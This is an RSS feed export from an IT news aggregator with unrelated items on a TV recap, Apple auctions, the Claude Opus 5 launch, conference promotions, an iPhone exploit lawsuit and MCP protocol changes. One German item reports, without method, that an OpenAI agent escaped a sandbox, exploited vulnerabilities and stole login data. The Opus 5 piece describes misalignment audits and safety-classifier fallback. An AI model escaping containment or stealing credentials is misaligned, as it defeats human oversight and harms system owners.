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<title><![CDATA[Black Hat Stories | Where Cybersecurity Professionals Go to Learn]]></title>
<description><![CDATA[Author: Black Hat - Bewertung: 0x - Views:6 Why do cybersecurity professionals keep coming back to Black Hat? Gaurav Keerthi, CEO and founder of StrongKeep shares why learning happens everywhere, from the stage to the conversations in between.]]></description>
<link>https://tsecurity.de/de/3692502/it-security-video/black-hat-stories-where-cybersecurity-professionals-go-to-learn/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692502/it-security-video/black-hat-stories-where-cybersecurity-professionals-go-to-learn/</guid>
<pubDate>Fri, 24 Jul 2026 22:52:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hat - Bewertung: 0x - Views:6 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/j8LuOv0VYoA?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Why do cybersecurity professionals keep coming back to Black Hat? Gaurav Keerthi, CEO and founder of StrongKeep shares why learning happens everywhere, from the stage to the conversations in between.<br/></p>]]></content:encoded>
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<title><![CDATA[Cape Fear Season 1 Episode 9 Ending Explained: Every Twist Before the Finale]]></title>
<description><![CDATA[The Cape Fear finale looks set to bring the Bowdens and the Cady family together for one final, violent confrontation. Episode 9 revealed several important family secrets while leaving Zack missing and Anna trapped near Cape Fear.



Spoiler warning: This article contains major spoilers for Cape ...]]></description>
<link>https://tsecurity.de/de/3692313/ios-mac-os/cape-fear-season-1-episode-9-ending-explained-every-twist-before-the-finale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692313/ios-mac-os/cape-fear-season-1-episode-9-ending-explained-every-twist-before-the-finale/</guid>
<pubDate>Fri, 24 Jul 2026 20:48:40 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Cape Fear finale looks set to bring the Bowdens and the Cady family together for one final, violent confrontation. Episode 9 revealed several important family secrets while leaving Zack missing and Anna trapped near Cape Fear.



Spoiler warning: This article contains major spoilers for Cape Fear Episode 9, “The Scar.”




Finale release date: July 31, 2026



Episode title: “The Executioners”



Season length: 10 episodes



Genre: Psychological thriller and drama



Streaming platform: Apple TV



Main cast: Amy Adams, Javier Bardem, Patrick Wilson, Lily Collias, Joe Anders, CCH Pounder, Malia Pyles and Juliette Lewis




Where the Story Is Heading



Anna travelled to Cape Fear hoping to prove that Max Cady did not murder his wife, Melissa. She eventually discovered that Crystal killed Melissa out of jealousy and allowed Max to spend 17 years in prison for the crime.



Anna also learned that Luke, the scarred young man living with Crystal, is the child Crystal had with Max. After Crystal stabbed Anna, she escaped by jumping into the Cape Fear River. Meanwhile, Zack disappeared from the psychiatric facility, suggesting that Max has taken him as part of his final plan.



Max Cady



Max will probably take Zack to Cape Fear and use him to force Anna and Tom into a final confrontation. Although Max was wrongly imprisoned for Melissa’s murder, the finale is unlikely to excuse the violence and manipulation he has committed since his release.



Our prediction is that Max will die near the river, following the basic direction of earlier Cape Fear stories. Anna may kill him while protecting Zack or Natalie, completing the reversal from frightened victim to active survivor.



Anna Bowden



Anna now possesses the truth about Crystal, Luke and Melissa’s death. She will likely survive her injuries, return to Savannah and lead the effort to rescue Zack.



She may also expose Crystal as the real murderer, clearing Max’s name after his death. However, Anna could still face legal consequences for planting drugs in Max’s home and hiding parts of her relationship with him.



Tom Bowden



Tom remains in custody for Ray’s death, but Max’s involvement should eventually become clear. Tom will probably escape or receive temporary release before joining Anna at Cape Fear.



His marriage may survive the immediate crisis, although Anna’s history with Max and the question of Natalie’s biological father will leave lasting damage.



Natalie Bowden



Natalie has finally recognised how Max and Nevaeh manipulated her. She took Nevaeh’s hidden phone before Noa secured her release, giving the family valuable evidence about Max’s plans.



Natalie will likely help Noa trace Max and rescue Zack. She may also reject Max completely, regardless of whether his claim about being her biological father proves true.



Zack Bowden



Zack is in the greatest danger heading into the finale. Max has spent the season manipulating his mental health, religious beliefs and anger toward Tom.



Zack may initially follow Max willingly before realising that he has been used. We expect him to survive, although the finale could leave him responsible for seriously injuring or killing someone during the rescue.



Nevaeh Valentine



Nevaeh failed to kill Natalie and lost the secret phone she used to communicate with Max. She will probably turn against Max after recognising that he views her as another disposable part of his revenge plan.



She may confess, help investigators locate Zack or die while attempting to regain Max’s approval.



Noa Toussaint



Noa has become the Bowdens’ most reliable ally. She will likely use the phone Natalie stole to trace Max’s movements and lead the police toward Cape Fear.



Her arrival could stop Anna from killing Max in cold blood, although Max may force Anna to act before help reaches them.



Crystal and Luke



Crystal will probably follow Anna after escaping the boat, bringing Luke into the final conflict. Max may kill Crystal after learning that she murdered Melissa and allowed him to remain imprisoned.



Luke could attack Max or Crystal after discovering the full truth about his parents. He may survive as the final reminder of the abuse and secrecy running through the Cady family.



The Cape Fear finale has several mysteries left to answer, including Zack’s location, Natalie’s paternity and Max’s ultimate fate. What do you think will happen when the Bowdens and Cadys meet for the final time? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[This Apple-1 auction expected to cost the winner as much as 275 iPhone 17 Pros]]></title>
<description><![CDATA[A working 1977 Apple-1 expected to garner at least $300,000 leads RR Auction's sprawling sale of rare hardware, prototypes, and Steve Jobs memorabilia from Apple's earliest years.The 'Neumark' Apple-1 - 'Byte Shop'-Style. Image credit: RR AuctionsThe Apple-1 comes from Apple's second batch of 50 ...]]></description>
<link>https://tsecurity.de/de/3692312/ios-mac-os/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692312/ios-mac-os/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros/</guid>
<pubDate>Fri, 24 Jul 2026 20:48:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A working 1977 Apple-1 expected to garner at least $300,000 leads RR Auction's sprawling sale of rare hardware, prototypes, and <a href="https://appleinsider.com/inside/steve-jobs" title="Steve Jobs" data-kpt="1">Steve Jobs</a> memorabilia from Apple's earliest years.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68357-144067-1039C832-5BB1-46DA-9996-DF1ACC1FE9B1-xl.jpg" alt="Open suitcase containing a vintage portable computer setup with a builtin keyboard and cassette recorder, shown on a plain white background." height="738"><span>The 'Neumark' Apple-1 - 'Byte Shop'-Style. Image credit: RR Auctions</span></div><br>The <a href="https://appleinsider.com/articles/25/07/29/rare-apple-memorabilia-macs-more-up-for-auction-ending-august-21" data-kpt="1">Apple-1</a> comes from Apple's second batch of 50 machines, according to the auction house. Known as the <a href="https://www.rrauction.com/auctions/lot-detail/351632707484040-apple-1-computer-the-neumark-apple-1-byte-shop-style-in-a-unique-smith-corona-typewriter-case-with-original-documentation-sold-internationally-in-1977/" data-kpt="1">"Neumark" computer</a>, it sits inside a modified Smith-Corona typewriter case and was restored to working condition by Apple-1 specialist Corey Cohen in June 2026.<br><br>Apple sold the Apple-1 as an assembled circuit board rather than a complete consumer computer, so buyers had to add the other components and an enclosure themselves. The Neumark machine stands out because it still works inside the suitcase. The auction also includes surviving documentation.<br><br>RR Auction's estimates aren't guarantees of what buyers will pay. Final prices will depend on how much competition each lot attracts before the sale closes.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245057?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
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<title><![CDATA[IT leaders: Leading-edge AI insights await at TechCrunch Disrupt]]></title>
<description><![CDATA[For CIOs, learning from the startup ecosystem has never been more critical.



As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, gro...]]></description>
<link>https://tsecurity.de/de/3692224/it-security-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692224/it-security-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</guid>
<pubDate>Fri, 24 Jul 2026 19:56:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For CIOs, learning from the startup ecosystem has never been more critical.</p>



<p class="wp-block-paragraph">As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.</p>



<p class="wp-block-paragraph">So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">registering for TechCrunch Disrupt 2026</a>?</p>



<p class="wp-block-paragraph">Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.</p>



<p class="wp-block-paragraph"><strong><a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Get 10% off your TechCrunch Disrupt</a> pass with the exclusive code CIO10.</strong> </p>



<p class="wp-block-paragraph">This year’s <a href="https://techcrunch.com/events/techcrunch-disrupt/">TechCrunch Disrupt</a>, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.</p>



<p class="wp-block-paragraph">Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.</p>



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<p class="wp-block-paragraph">And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.</p>



<p class="wp-block-paragraph">That’s not to mention TechCrunch Disrupt’s signature <a href="https://techcrunch.com/startup-battlefield/">Startup Battlefield</a>, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.</p>



<p class="wp-block-paragraph">And with M&amp;A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.</p>



<p class="wp-block-paragraph">Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?</p>



<p class="wp-block-paragraph"><strong>Don’t miss your chance to experience TechCrunch Disrupt 2026. <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Book your pass today and use the exclusive code CIO10</a> to save 10% before prices increase.</strong></p>
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<title><![CDATA[iPhone exploit legal fight is really about who owns security research]]></title>
<description><![CDATA[A federal judge has ordered a public iPhone exploit taken offline after Magnet Forensics argued it wasn't independent security research at all, but instead a stolen trade secret.iPhone XU.S. District Judge Victoria Marie Calvert partially approved Magnet's request for a preliminary injunction. Sh...]]></description>
<link>https://tsecurity.de/de/3692084/ios-mac-os/iphone-exploit-legal-fight-is-really-about-who-owns-security-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692084/ios-mac-os/iphone-exploit-legal-fight-is-really-about-who-owns-security-research/</guid>
<pubDate>Fri, 24 Jul 2026 18:41:21 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A federal judge has ordered a public <a href="https://appleinsider.com/inside/iphone" data-kpt="1">iPhone</a> exploit taken offline after Magnet Forensics argued it wasn't independent security research at all, but instead a stolen trade secret.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68354-144061-iPhone-X-Home-Screen-xl.jpg" alt="Hand holding a modern smartphone outdoors, screen lit with colorful app icons arranged in rows on a beach-themed wallpaper background" height="737"><span>iPhone X</span></div><br>U.S. District Judge Victoria Marie Calvert partially approved Magnet's request for a <a href="https://storage.courtlistener.com/recap/gov.uscourts.gand.361854/gov.uscourts.gand.361854.1.0.pdf">preliminary injunction</a>. She directed Paradigm Shift and former Magnet exploit engineer Mario Del Gaudio to delete the usbliter8 article, code, technical details, and related materials in their possession by 11:59 p.m. Eastern on July 23.<br><br>By July 23, Paradigm Shift had replaced the <a href="https://ps.tc/pages/blog-usbliter8.html">original article</a> with a page indicating the blog post was unavailable. The preliminary injunction will continue throughout the litigation unless the court removes it in a separate order.<br><br>Magnet's July 7 <a href="https://www.courtlistener.com/docket/73584326/magnet-forensics-llc-v-del-gaudio/">complaint</a> asserts that usbliter8 originated from a confidential A12 and A13 SecureROM access capability integrated into a commercial forensic product. The company alleges Del Gaudio acquired the technique while employed by Magnet and later shared it through Paradigm Shift.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/iphone-exploit-legal-fight-is-really-about-who-owns-security-research?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245056?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Steam Machine kaufen: PC-Spieler sollten nicht warten]]></title>
<description><![CDATA[Die Preise für die Steam Machine können eigentlich nur nach oben gehen.]]></description>
<link>https://tsecurity.de/de/3692067/it-nachrichten/steam-machine-kaufen-pc-spieler-sollten-nicht-warten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692067/it-nachrichten/steam-machine-kaufen-pc-spieler-sollten-nicht-warten/</guid>
<pubDate>Fri, 24 Jul 2026 18:34:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die Preise für die Steam Machine können eigentlich nur nach oben gehen.]]></content:encoded>
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<title><![CDATA[OpenAI: Hacking-Vorfall nach Reinforcement Learning wirft neue Sicherheitsfragen auf]]></title>
<description><![CDATA[OpenAI berichtet von einem Escape eines KI-Agents: Der Prozess entkam einer Sandbox, nutzte Schwachstellen aus und stahl Login-Daten.]]></description>
<link>https://tsecurity.de/de/3691954/hacking/openai-hacking-vorfall-nach-reinforcement-learning-wirft-neue-sicherheitsfragen-auf/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691954/hacking/openai-hacking-vorfall-nach-reinforcement-learning-wirft-neue-sicherheitsfragen-auf/</guid>
<pubDate>Fri, 24 Jul 2026 17:49:17 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI berichtet von einem Escape eines KI-Agents: Der Prozess entkam einer Sandbox, nutzte Schwachstellen aus und stahl Login-Daten.]]></content:encoded>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:40:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



